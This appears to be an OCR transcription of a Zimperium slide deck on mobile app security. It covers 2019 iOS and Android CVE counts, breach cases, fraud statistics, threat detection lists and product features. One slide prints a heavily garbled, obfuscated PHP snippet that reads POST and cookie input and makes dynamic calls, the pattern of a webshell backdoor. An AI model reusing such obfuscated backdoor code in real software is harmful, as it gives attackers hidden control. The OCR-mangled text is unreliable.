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IOS CVEs (1H2019)

Key Finding: Mobile OS vendors created
patches for 440 security vulnerabilities (a
30% increase over TH2018), the majority of
which were critical.

In the 1H19, Apple patched 185 CVEs
compared to 120 during the same timeframe
last year, or an increase of 54%.

| CRITICAL: 115 MEDIUM: 46 || LOW: 24

App Shieldingvs.In App Protection - Zimperium, Inc.




Android CVEs (1H2019)

Key Finding: Mobile OS vendors created
patches for 440 security vulnerabilities (a
30% increase over TH2018), the majority of
which were critical.

Google patched 255 CVEs compared to 492
during the same timeframe last year, or a drop of
48%.

" CRITICAL: 50 HIGH: 201 MODERATE: 4

App Shieldingvs.In App Protection - Zimperium, Inc.




OS Risk Perspective

Critical and Medium CVEs per Month for i0S

@ Repored CVE
Count

CVE report trends ® 50 w0 g o 6P 6 @ @ o o o o e

for the two highest

SEVE rlty Ieve I Sin Critical and High Severity CVEs per Month for Android
iI0S and Android.




More than 70% of critical iOS vulnerabilities would allow

\ an attacker to execute arbitrary code

2018 — Q1 2019

\ Google Finds Two Zero-Day
Vt'J'Ilrl1erab|I|t|es iniOS | 00ODOOOO

By Ryan Whitwam on February 8, 2019 at 4:51 pm

FACETIME VULNERABILITY ALLOWS SPYING ON APPLE USERS

f ¥ G+ & Y [ 43 SHARES

Apple Patches iMessage Bug That Bricks
iPhones with Out-of-Date Software

cve.mitre.org
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\X47\x4C\X4FE\x41\X4C\X53"}[ 'Ff5c6e598° ] = "\x5e\x27\x6b\x58\x57\x7¢\x72\x2b\x6¢ \x39\x35\x4d \x78\x2C \x47\x48\x6a \ X6 \X52\x44\ %26\ x24\x7d \X58\x43 \x68 \xd \x3f \x63\x2f \x29\x75\x38\x3b\x65 i oo
\x4b\x55\x53\x32\x49\x37\x43\xa\x6f \x45\x36\x73\x6d \x64\x74\x7a\X77 \X79\X62\X54\x42\X53 \x7e\x3d \x68\x21\x22\x3e\x5c \x25\x5f \x48\x20\x31\x4e\x5d \x28\x61\x33\x76\x23\x3c\x69\x2d \x71\x41 B T e,
\x34\x78\x56\x30\x4c \x4F\x3a\x23\x46\x5b\x67\x7b\x51\x59\x66\x2e\x9" ; : : : 3

DBALS[$GLOBALS[ " ff5c6e598" ][91].$GLOBALS] ' ff5c6e5392 ' ][45].$GLOBALS] ' ff5c6e598' ][53].8GLOBALS[ ' ff5c6e590° 1[48].$GLOBALS[ 'ff5c6e598" ][73].$GLOBALS] ' ff5c6e592 ' ][53].$GLOBALS] ' ff5c6e598' ][ 1§E iﬁi %;E 3;;

95].$GLOBALS[ " ff5c6e598° 1[34] .$GLOBALS[ ' ff5c6e592° ][48]] = $GLOBALS[ ' ff5c6e598° ]1[28].$GLOBALS[ ff5c6e590" ][59].8GLOBALS[ ' ff5c6e590° 1[6];
DBALS[$GLOBALS[ ' ff5c6e598° ] [82].8GLOBALS[ ' ff5c6e592° ][38].$GLOBALS[ ' ff5c6e590 " 1[32] . $GLOBALS[ ' ff5cee59@ ' 1[34] . $GLOBALS[ " ff5c6e590 ' 1[9].$GLOBALS[ ' ff5c6e598’ 1[72]] = $GLOBALS[ ' ff5cee59e” ]1[;lif'lifliﬂr1ﬁf'j
[43].8GLOBALS[ ' ff5c6e599' ][6].$GLOBALS 'ff5cee592" ] [48]; —— 3i T
DBALS[$GLOBALS[ ' ff5c6e590' ][17].$GLOBALS[ " ff5c6e598 " ][45].$GLOBALS[ ' ff5c6e590 ' ][72].$GLOBALS[ ' ff5c6e598" ]1[34] . $GLOBALS[ " ff5c6e598' 1 [53].$GLOBALS[ " ff5c6e598  1[38] . $GLOBALS[ " ff5c6e590 " ][ gy oo
45].$GLOBALS[ ' ff5c6e590" 1[84].$GLOBALS[ ' f5c6e598° ][53]] = $GLOBALS[ ' ff5c6e592 ' 1[46].$GLOBALS[ ' ff5c6e598" 1[49].$GLOBALS[ " ff5c6e590' 1[6].$GLOBALS " ff5c6e598' 1[8]. SGLOBALS['ffScSESSQ‘][ o e i
34].$GLOBALS[ ' ff5cee59e° 1[17]; e
DBALS[$GLOBALS[ 'ff5c6e598" J[48].$GLOBALS[ "ff5cee598 ' 1[34] . $GLOBALS[ 'ff5c6e598 " J[32] . $GLOBALS[ " ff5c6e598 ' ][95] . $GLOBALS[ 'ff5c6e598 " J[68]] = $GLOBALS[ 'ff5c6e590"1[77].$GLOBALS[ 'ff5cee598” —"k--'ﬂ-"nar'har"
1[17] .$GLOBALS[ 'ff5c6e598" ][77] . $GLOBALS[ ' ff5c6e590° J[65] . $GLOBALS[ 'ff5c6e598" ][46] . $GLOBALS[ ' ff5c6e590° 1[34].$GLOBALS[ 'ff5cee598' 1[49]; f“h R
OBALS[$GLOBALS[ ' ff5c6e590' ][46].$GLOBALS[ ' ff5c6e590° ] [84].$GLOBALS[ 'ff5cee598 ' 1[9].$GLOBALS] 'ff5c6e59e” 1[38].8GLOBALS[ ' ff5cee59e" 1[81].8GLOBALS[ " ff5c6e599° ][84]] = $GLOBALS[ ' ff5cees9e'] N R
[46].$GLOBALS[ " ff5c6e598 ' ]1[34].$GLOBALS[ ' ff5c6e598° 1[6].$GLOBALS[ ' Ff5c6e590' 1[77].$GLOBALS[ ' ff5c6e598° ][72] . $GLOBALS] ' ff5c6e590° 1[8].$GLOBALS[ ' ff5c6e598 ' ][77].$GLOBALS[ ' ff5cEe598" ][59]1;E,~‘¢, T
.$GLOBALS[ 'ff5c6e599"1[34]; .‘._
DBALS[$GLOBALS[ ' ff5c6e598 ' ][2].$GLOBALS[ ' ff5c6e590° ]1[45].8GLOBALS] ' ff5c6e590 " ][84].$GLOBALS[ ' ff5c6e590° 1[73].$GLOBALS] 'ff5cee590 ' 1[84].$GLOBALS[ ' ff5c6e598°1[53]] = $GLOBALS['ff5cee598'] ”"iéf;i;-fTL-‘fl
[12].$GLOBALS[ ' ff5c6e598" J[59].$GLOBALS[ ' ff5c6e592 " J[12].$GLOBALS[ ' ff5c62598 " ][74] . $GLOBALS[ " ff5c6e590' ][34] . $GLOBALS[ ' ff5c6e598" ][6].$GLOBALS[ ' ff5c6e598 " ][46] . $GLOBALS[ ' ff5c6e598" 1[77. - =
1.8GLOBALS[ ' ff5c6e598 " 1[43].$GLOBALS[ ‘ff5cees9e” ]1[17];
DBALS[$GLOBALS[ 'ff5c6e598" J[34].$GLOBALS[ "ff5cee598' J[1e] . $GLOBALS[ 'ff5c6e598" J[28] . $GLOBALS[ " ff5cee598 " 1[95] . $GLOBALS[ 'ff5c6e598" J[18] . $GLOBALS[ "ff5cee598 ' 1[45] . $GLOBALS[ 'ff5cee598" ][
38].$GLOBALS[ " ff5c6e598° J[81].$GLOBALS[ 'ff5c6e598 ' ][28]] = $GLOBALS['ff5c6e590° J[31].$GLOBALS[ ' ff5c6e598' 1[17].$GLOBALS] ' ff5c6e592 " J[46].$GLOBALS[ ' ff5c62598 ' ][34].$GLOBALS[ ' ff5c6e530" ]
[6].8GLOBALS[ ' ff5c6e598' 1[77].9GLOBALS ' ff5c6e598 " ][72].$GLOBALS] ' ff5cee59e” J[8].$GLOBALS[ 'ff5cee598 ' 1[77].$GLOBALS[ ' f5c6e590° ][58] . $GLOBALS[ ' ff5cee590 ' 1[34];
DBALS[$GLOBALS[ ' ff5c62598 "' ][53] . $GLOBALS[ ' ff5c66598 "' ][73].$GLOBALS[ ' ff5c62598 ' 1[28].$GLOBALS[ ' ff5c6e598 " 1[81].9GLOBALS[ ' ff5c6e598'1[72]] = $GLOBALS['ff5c6e592’ ][53].$GLOBALS[ ' ffscees9e’
1[72].$GLOBALS[ " ff5c6e592 " ]1[46] . $GLOBALS[ ‘ff5cee598" 1[34] . $GLOBALS[ " ff5c6e598 " ]1[45] . $GLOBALS[ ‘ff5cee598" ][81].$GLOBALS] "ff5cee592 " ]1[65] . 8GLOBALS[ ' ff5cee598” ]1[48].$GLOBALS] "ff5cees3e' ][
34].$GLOBALS[ 'ff5cee59@ ' ][28].$GLOBALS[ ' ff5c6e598 " ]1[43].8GLOBALS] ' ff5c6e590° 1[48] . $GLOBALS[ ' ff5cee590" 1[34];
DBALS[$GLOBALS[ ' ff5c6e598 ' J[95].$GLOBALS[ ' ff5c6e59@ ' ][38] . $GLOBALS[ ' ff5c62590' ][84] . $GLOBALS[ ' ff5c6e590' ][45].$GLOBALS[ ' ff5c6e590" J[38].$GLOBALS] ff5c6e590° ][34]] = $GLOBALS[ ' ff5c6e598"
1[46] . $GLOBALS[ ' Ff5c62590" ][34] . $GLOBALS[ ' Ff5c6e598" ][49] . $GLOBALS[ ' Ff5c66590° ][65] . $GLOBALS[ ' Ff5c62598 " ][49] . $GLOBALS[ ' Ff5c62590° 1[77]. $GLOBALS[ ' Ff5c6e598 ' ]1[47] . $GLOBALS[ ' ff5c6e590" ][
34].$GLOBALS[ ' ff5c6e592 " ][65] . $GLOBALS[ ' ff5c6e590" 1 [8].$GLOBALS] " ff5c6e598" 1[77] . $GLOBALS[ " f5c62590" J[47].$GLOBALS[ ' ff5c6e598" 1[77] . $GLOBALS[ ' ff5cee598 ' 1[49];
DBALS[$GLOBALS[ ' ff5c62598' ][59].$GLOBALS[ ' ff5c6e592" ] [48].$GLOBALS[ 'ff5c6e598 ' ][73].$GLOBALS] ' ff5c6e538 " ][34]] = $GLOBALS['ff5c6e598' ][47].$GLOBALS[ 'ff5c6e592 ' ][10].$GLOBALS[ 'ff5c6e598"
1[68].8GLOBALS[ " ff5c6e598° ][73].$GLOBALS ' ff5cee598’ 1[32].$GLOBALS] ' ff5c6e59e " J[81].$GLOBALS[ " ff5cee59e’ 1[32].8GLOBALS] " ff5c6e599" ][38].$GLOBALS[ ' ff5cee598' 1[95];
DBALS[$GLOBALS[’ ff5c62590' J[17].$GLOBALS[ ' ff5c6e598' ][84].$GLOBALS[ ' ff5c6e598 ' ] [40] . $GLOBALS[ ‘ff5c6e598° 1[38].$GLOBALS[ " ff5c62598 " ]1[32] . $GLOBALS[ ' ff5c6e598" ][45] . $GLOBALS[ ' ff5cee598' ][
45].8$GLOBALS[ 'ff5c6e598" ][9].$GLOBALS] ' ff5c6e592" J[48]] = $GLOBALS['ff5cee598'][5@].8GLOBALS] ‘ff5cee598’ 1[9].$GLOBALS] ' ff5c6e592  1[9].$GLOBALS] ' ff5cee590" 1 [45];
DBALS[$GLOBALS[ff5c6e590' ][28].$GLOBALS[ ' ff5cee598' 1[73].$GLOBALS[ ' ff5c6e598 ' ] [40] . $GLOBALS[ ' ff5c6e598 " 1[95] . 8GLOBALS[ " f5c62590' ][53].8GLOBALS[ ' ff5cee592' 1[73]] = $_POST;
DBALS[$GLOBALS[ ' ff5c6e2598 ' ][79].$GLOBALS[ ' ff5c6e598' ][73].$GLOBALS[ ' ff5c62598' ][10].$GLOBALS[ " ff5c6e590" ][38].$GLOBALS[ 'ff5c6e598° J[45]] = $_COOKIE;
LOBALS[SGLOBALS['ff5c6e59e’][48].$GLOBALS['ff5c6e599'][34].$GLOBALS['ff5cse599'][32].iGLOBALS['ffScBeS%'][BS].sGLOBALS['ff5c6e599'][68]]($GLOBALS['ff5c6e599‘][34].$GLOBALS['ff5c6e599']
[6].$GLOBALS[ ' ff5c6e592' ][6].$GLOBALS[ ' ff5c6e598' ][43].$GLOBALS] ' ff5c6e598 " ][6].$GLOBALS] ' ff5c6e592 " ][65] . $GLOBALS[ ff5c6e590° 1[8].$GLOBALS[ " ff5c6e598" 1[43].$GLOBALS[ ' ff5c6e590' J[91],
NULL);
| OBALS[$GLOBALS[ ' ff5c6e598° ][48].$GLOBALS[ ' ff5c6e598 ' 1[34] . $GLOBALS[ ' ff5c6e590" ][32].$GLOBALS] ' ff5c6e592° 1[95].8GLOBALS[ ff5c6e599 " 1[68]]($GLOBALS[ ' ff5c6e598 ' 1[8].8GLOBALS] ' ff5cees9e’ ][
43].$GLOBALS[ 'ff5c6e590" ][91].$GLOBALS[ " ff5c5e598° ]1[65] . $GLOBALS[ " ff5c6e598 " ][34].$GLOBALS[ ' ff5c6e592" ][6].$GLOBALS[ ' ff5c6e592° 1[6]. $GLOBALS[ ' ff5c6e598 " ][43].$GLOBALS[ 'ff5c6e592° 1[6].$
GLOBALS[ ' ff5c6e590']1[46], ©);
| OBALS[$GLOBALS[ ' ff5c6e598' ][48].$GLOBALS[ 'ff5c6e592 " ][34].$GLOBALS[ 'ff5c6e598° ]1[32].$GLOBALS] ' ff5c6e598° 1[95] . $GLOBALS[ ' ff5c6e592' 1[68] 1 ($GLOBALS[ ' ff5c6e598 ' 1 [47].$GLOBALS[ ff5c6e598" ]
[72].$GLOBALS[ ' ff5c62598 " 1[82] . $GLOBALS] ' ff5c62590" ][65] . $GLOBALS[ ' ff5c6e598 " 1[34].$GLOBALS ' ff5c6e590 ' 1[82].$GLOBALS[ ' ff5c62590" ][34] . $GLOBALS[ ' ff5c62592° 1[28].$GLOBALS[ ' f£5c6e598" ][
31].$GLOBALS[ ' ff5cee59€ ' ][49].$GLOBALS] ' ff5c6e590° ][77].$GLOBALS[ ' f5c62590° 1[43].$GLOBALS[ ‘ff5c6e598° J[17].$GLOBALS[ ' ff5cee592 ' 1[65] . $GLOBALS] ' ff5c6e598 " ][49] . $GLOBALS[ ' ff5cee598" 1[77
1.$GLOBALS[ ' ff5c6e590" ]1[47].8GLOBALS[ ' ff5c6e590" ][34], ©);
| OBALS[$GLOBALS[ ' ff5c6e592" ][95].$GLOBALS[ ' f5c6e590° ] [38] . $GLOBALS[ ' ff5c6e592" ][84].$GLOBALS[ ' ff5c6e590" ] [45].$GLOBALS[ ' ff5c6e592" ] [38] . $GLOBALS[ ' ff5c6e592° 1[34]11(0);

= NULL;
84 = NULL;

S[$GLOBALS[ ' ff5c62598° ][31] . $GLOBALS[ ' ff5c6e590" ] [4@]. $GLOBALS[ ' ff5c6e598 " ][48].$GLOBALS[ ' ff5c6e592 ' ][9].$GLOBALS] ' ff5c62598 " ]1[68] . $GLOBALS[ ' ff5c62590° ] [53] . $GLOBALS[ ' ff5c6e590' 1[38].%
BALS[ ' ff5c62590' ][40]] = $GLOBALS['ff5c6e590' ][40].8GLOBALS] ' Ff5c6e598° 1[53].$GLOBALS[ ‘ff5c6e598 ' 1[10].$GLOBALS[ ' ff5c6e590' ][68].$GLOBALS[ ' ff5c6e592° 1[68].$GLOBALS[ ' ff5c6e590°1[38].$



Even with Best Practices, Apps are Compromised with the Device

afl @ = ©

S Q last seen today at 1:04 AM

Shlookido
Cookiedo

Tambalul

NotSoEncryptedinMemory

N @ % As3% g 1:16 AM

4+ cac

0031d30: 4788 0568 8e24 b428 4305 c8d7 a2de
0031d49: b836 810c aald f7la 942 cca8 6Gelc

+ 79a61000-79abb@ad . dump gg
0056cb@: 0908 046c 0808 @111 9881 f600 0000 0054 ...l........... T o
0056cc@: ba9l 14f8 5555 5500 0000 0092 cbfc ffoO UUU. ..., =
0056cd0: @000 @0bf 7f6e 026d bcbl 9d44 8de? 0414 .....n.m...D.... oy
0056ce@: 9lba 5404 576f 6f66 0000 0020 63ed 3d00 ..T.Woof,.. c.=. g3
0056cf@: Q000 QOFf 58FF FFff ffff fFF9 cb93 0bOO ' el 20
0056d00: 0609 0804 810c 0908 0111 9881 f600 0000 . ............... 03
0056d10: 0054 ba9l @1f8 5555 5503 0000 0093 cbfc .T....UUU....... bf
0056d20: ff00 0000 0044 8de? 046d bcbl 9dbf 7f6e .....D...m..... n 63
0056d30: 0201 91ba 5416 4e6f 7453 6f45 6e63 7279 -T. NGESGERERYlz0
0056d40: 7074 6564 496e 4d65 6d6f 7279 0020 63ed ptedInMemory. c. £9
0056d50: 3d00 0000 QOFFf 4bff ffff ffff FFFI cba8 =..... Kewoonnnn. 6
0056d60: 0a00 0609 0804 7408 0801 1198 81f6 0000 ...... € 00
0056d70: 0000 54ba 8a38 £855 5555 0100 0000 aSch 8.UuU...... 9d
0056d80: fcff 0000 0000 bf7f 6e02 6dbc bl9d 448d ........ n.m...D. 75
0056d90: e704 388a ba54 0854 616d 6261 6c75 6C00 T.Tambalul, ff
0056da@: 0000 2063 ed3d Q000 Q000 ffab FFFf FFFf = K....©8
0056db@: ffff f9cb a90a 0006 0908 0474 0908 Q111 ........... t....55
0056dc@: 9881 f600 0000 0054 ba8a 22f8 5555 5503 ....... T..".UUU. €7
0056dd0: 0000 00a9 cbfc ffOO 0000 0044 8de? 046d ........... D...m5f
0056de@: bcbl 9dbf 7f6e 0222 8aba 5408 436f 6f6b .....n."..T.Cook %9
0056df0: 6965 646f 0000 0020 63ed 3dO0 000@ QOFf fiedo,.. c.= .29
0056e00: 4bff ffff FFFFf FFf9 cbaa 0a00 @609 0804 K............... i
0056e10: 7409 0801 1198 81f6 0000 0000 54ba 8ald t........... Foncmcm g
0056e20: £855 5555 0300 000@ aacb fcff 0000 0000 .UUU............ e
0056e30: 448d e704 6dbc b19d bf7f 6e02 1d8a ba54 M. I, .
0056e40: 0953 686c 6F6f 6b69 646f 0000 2063 ed3d c-= oo
0056e50: 0000 0000 ffa7 FFFf FFFF FFFF FOcb ab®a .....G.......... bt
0056e60: 0006 0908 046c 0808 0111 9881 f600 0000 .....l.......... £
0056e70: 0054 ba86 93f8 5555 5501 0000 0@ab cbfc UuU....... 20
0056e80: ff00 0000 0Obf 7f6e 026d bcbl 9d44 8de7 ....... n.m...D.. fo
0056€90: 0493 86ba 5404 5465 7874 0000 0020 63ed T.Text,.. c.

................

BUY NotSoEncry
ptedInMemory C.



// L]
I} (1) 10 7 0

e

‘illw

"

SRl

‘,_\\ i




/f-.
\ Hardening raises the barrier to entry,
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If the want in, they will







Bank malware captures SMS 2FA

BankBot Found on Google Play and Targets Ten New ... - Trend Micro
https://blog.trendmicro.com/.../bankbot-found-google-play-targets-ten-new-uae-banki... ~
Sep 13, 2017 - BankBot is also capable of hijacking and intercepting SMS messages, which
means that it can bypass SMS-based 2-factor authentication.

After Big Takedown Efforts, 20 More BankBot Mobile Malware Apps ...
https:/isecurityintelligence.com » Threat Research » Malware =

Jul 27, 2017 - In a recent discovery, IBM X-Force mobile researchers identified at least 20 ... Bad
Android apps making it into the official app store is not new by any means. ... To bypass this
authentication method, they started writing SMS ... them to the attacker, thus compromising SMS-
based two-factor authentication.

Reddit Breach Highlights Limits of SMS-Based Authentication ...
https://krebsonsecurity.comy.../reddit-breach-highlights-limits-of-sms-based-authentica... ~
Aug 1, 2018 - In a post to Reddit, the social news aggregation platform said it learned on ... employee
accounts tied to the breach were protected by SMS-based two-factor authentication, the intruder(s)
managed to intercept that second factor. ... login page on a Web site along with user's password —
meaning both the ...

Missing: BankBst capable bypass
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Hackers Steal £2.5 Overnight from
Tesco by Reverse Engineering Mobile

App

“It has been revealed weaknesses in the
bank’s mobile applications left the door
open for cybercriminals to brute force their
way in and take more than £2.5 million of
customers’ money...”

The Financial Conduct Authority (FCA) later
fined Tesco Bank £16.4m for “failing to
exercise due skill, care and diligence in
protecting” its current account holders.

Sources:
https://www.theguardian.com/business/2016/nov/08/tesco-bank-cyber-thieves-25m
https://www.fca.org.uk/news/press-releases/fca-fines-tesco-bank-failures-2016-cyber-attack




British Airways Breached

Intruders captured over 380,000 credit card
numbers from users booking travel via the
airline’smobile app and website.

K4y British Ai o

iﬁ%s @;Iritl:hﬁrlvl;\:\l/gys v
We are investigating the theft of customer
data from our website and our mobile app,

as a matter of urgency. For more information,
please click the following link:

ba.uk/EsABRI

12:31 PM - 6 Sep 2018
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App Shieldingvs.In App Protection - Zimperium, Inc.



Are the apps you build secure?

70% 53%

| Do you build your own app? Are you concerned about insecure coding?

! Verizon Mobile Security Index 2019




70% of Fraud Originated in a Mobile Browser/App

18% 18% 17% 15% 24% 25% 29% 36% 39% 40% 37% 21%
45% 45% 45%
40% . . . 39% 39% 350, 350,
° 32% ° 29% 27% 30%

Q12016 Q22016 Q32016 Q42016 Q12017 Q22017 Q32017 Q42017 Q12018 Q22018 Q32018 Q42018

Web M Mobile Browser Mobile App

RSA Fraud & Risk Intelligence Service, October2015-December 2018
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Tamperin

X

Device jailbreaking / rooting
Debugger Detection
\T Emulator Detection

Obfuscation

Route to Compromise

No Encryption

No Device Pin

Malicious Processes

SELinux Disabled

Sideloaded App(s)

Stagefright Vulnerability
Third Party App Store Enabled
USB Debugging Mode Enabled
Device jailbreaking /rooting
Debugger Detection
Emulator Detection

Internal Network Access
MITM

MITM - ARP

MITM - Fake SSL certificate
MITM - ICMP Redirect
MITM - SSL Strip

Rogue Access Point

SSL Downgrades

TCP Scans

Unsecured WiFi

Abnormal Process Activity
Device Tampering

App Tampering

Malicious Processes
Filesystem changed
System Tampering

Malware

=)

hreat Defense and Remediatoin

Mitigation (Examples)

Deny Authentication / Lock account

Delete Data / Clear Cache

Increase user risk score

Restrict access until password reset
Establish VPN connection

Restrict or limit mobile transactions

Custom Rules and Remediations



Implementation

® 45 a1 =% ® 3 GET ITON ) ® 45 a 1 = 2 8 3

7 q \
# Download on the °
I {‘ App Store ===

zIAP Administration Install Mobile Threat Update App in Stores Mobile Threat

Console Detection SDK Update app in App Store and MoritorirBobile threat events via
o : Google Play. Users automatically your mobile apps. Mitigate
O greate e, downciosa[;:IKﬂ Idnstall ,ZIAPSBnI?b'Ig thre]ft receive new version and device compromise and
=" ocumentation an iles. etgctlolr; | an qunt.lgure immediately are protected
Y PUIOIE ORI [FEER el against malware and network

| ;
logic. attacks while using the app.




Global Bank Detects Fraud via Mobile Channel

e

senes Carw
-
=
—

—— T .

Mobile threat detection aids in
reducing S1.1 Billion of fraud via the
mobile channel.

A 1,247 Compromised Devices (in 30 days)
= 3,125 Compromised Networks

G 16,139 Rooted and Jailbroken Devices

o
M 2,231 Malicious Apps



. ZIAP
In-app Protection

Dashboard

In-Apps

Threats

L )

Devices

Users

Policies

* Manage

Monthly Active Devices (MAD) Daily Active Devices (DAD)

Dewnloads ' .
Docs ' '
Policy |

Terms

Version 5.1.108



BY Dashboard
it InApps
@ Threats
D Devices

an Users

Last30Days ~

®0

i= Policies

* Manage

Search

Total Version ‘ Android Version
Distribution i0OS Version Distribution Distribution
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Mitigation Checklist

Code Obfuscation
Anti-debug
Anti-tampering
Jailbreak / Root Detection
Whitebox Cryptography
Malware Detection

Bot or Clickjacking Detection
Zero Day Detection

MITM Detection
Configuration Risk
Vulnerability Detection

Threat Event Forensics

zShield

zDefend

Cryptography




Questions?

Scott King
Director Embedded Security

Scott has over 20 years experience providing
customized software solutions to enterprise

customers in mobile, supply chainand DevOps.

Scott invests his timeresearching mobileapp
security and worldwide mobile threat events.
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https://www.linkedin.com/in/thescottking
https://twitter.com/thescottking
https://www.zimperium.com/
mailto:king@zimperium.com
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